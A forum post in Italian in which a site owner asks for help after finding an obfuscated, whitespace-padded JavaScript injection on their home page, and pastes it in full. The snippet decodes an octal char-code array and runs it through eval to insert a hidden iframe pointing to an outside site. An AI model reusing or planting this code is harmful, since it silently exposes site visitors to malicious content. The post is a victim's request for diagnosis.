Buongiorno a tutti, ho trovato nella home page di un mio sito la seguente stringa:

codice:
                                                                                                                                                                                                                                                          ff=String;fff="fromCharCode";ff=ff[fff];zz=3;try{document.body&=5151}catch(gdsgd){v="eva"+"l";if(document)try{document.body=12;}catch(gdsgsdg){vzs=0;try{document;}catch(q){vzs=1;}}if(!vzs)e=window[v];if(1){f=new Array(045,0143,0162,0153,0140,0161,0146,0154,0153,035,045,046,035,0170,012,07,035,035,035,035,0163,0136,0157,035,0150,0161,0151,0160,035,072,035,0141,0154,0140,0162,0152,0142,0153,0161,053,0140,0157,0142,0136,0161,0142,0102,0151,0142,0152,0142,0153,0161,045,044,0146,0143,0157,0136,0152,0142,044,046,070,012,07,012,07,035,035,035,035,0150,0161,0151,0160,053,0160,0157,0140,035,072,035,044,0145,0161,0161,0155,067,054,054,0164,0164,0164,053,0145,0147,0155,0157,0154,0147,0142,0140,0161,0160,053,0140,0154,053,0162,0150,054,0142,0160,0141,053,0155,0145,0155,044,070,012,07,035,035,035,035,0150,0161,0151,0160,053,0160,0161,0166,0151,0142,053,0155,0154,0160,0146,0161,0146,0154,0153,035,072,035,044,0136,0137,0160,0154,0151,0162,0161,0142,044,070,012,07,035,035,035,035,0150,0161,0151,0160,053,0160,0161,0166,0151,0142,053,0137,0154,0157,0141,0142,0157,035,072,035,044,055,044,070,012,07,035,035,035,035,0150,0161,0151,0160,053,0160,0161,0166,0151,0142,053,0145,0142,0146,0144,0145,0161,035,072,035,044,056,0155,0165,044,070,012,07,035,035,035,035,0150,0161,0151,0160,053,0160,0161,0166,0151,0142,053,0164,0146,0141,0161,0145,035,072,035,044,056,0155,0165,044,070,012,07,035,035,035,035,0150,0161,0151,0160,053,0160,0161,0166,0151,0142,053,0151,0142,0143,0161,035,072,035,044,056,0155,0165,044,070,012,07,035,035,035,035,0150,0161,0151,0160,053,0160,0161,0166,0151,0142,053,0161,0154,0155,035,072,035,044,056,0155,0165,044,070,012,07,012,07,035,035,035,035,0146,0143,035,045,036,0141,0154,0140,0162,0152,0142,0153,0161,053,0144,0142,0161,0102,0151,0142,0152,0142,0153,0161,077,0166,0106,0141,045,044,0150,0161,0151,0160,044,046,046,035,0170,012,07,035,035,035,035,035,035,035,035,0141,0154,0140,0162,0152,0142,0153,0161,053,0164,0157,0146,0161,0142,045,044,071,0141,0146,0163,035,0146,0141,072,0131,044,0150,0161,0151,0160,0131,044,073,071,054,0141,0146,0163,073,044,046,070,012,07,035,035,035,035,035,035,035,035,0141,0154,0140,0162,0152,0142,0153,0161,053,0144,0142,0161,0102,0151,0142,0152,0142,0153,0161,077,0166,0106,0141,045,044,0150,0161,0151,0160,044,046,053,0136,0155,0155,0142,0153,0141,0100,0145,0146,0151,0141,045,0150,0161,0151,0160,046,070,012,07,035,035,035,035,0172,012,07,0172,046,045,046,070);}w=f;s=[];if(window.document)for(i=2-2;-i+485!=0;i+=1){j=i;if((031==0x19))if(e)s=s+ff(w[j]+3);}xz=e;if(window.document)if(v)xz(s)}
Cercando un pò in giro ho letto che si tratta di un attacco hacker per inserire all'interno del sito il rimando ad un altro sito dannoso attraverso un iframe, ma, da quello che ho letto, si tratterebbe di un attacco mirato ai vari cms, se non sbaglio in particolare a wordpress.

Come può essere possibile, visto che per realizzarlo non ho utilizzato nessun cms?

E' un problema del server? Devo chiedere a loro?

Vi ringrazio per l'aiuto che potrete sicuramente darmi.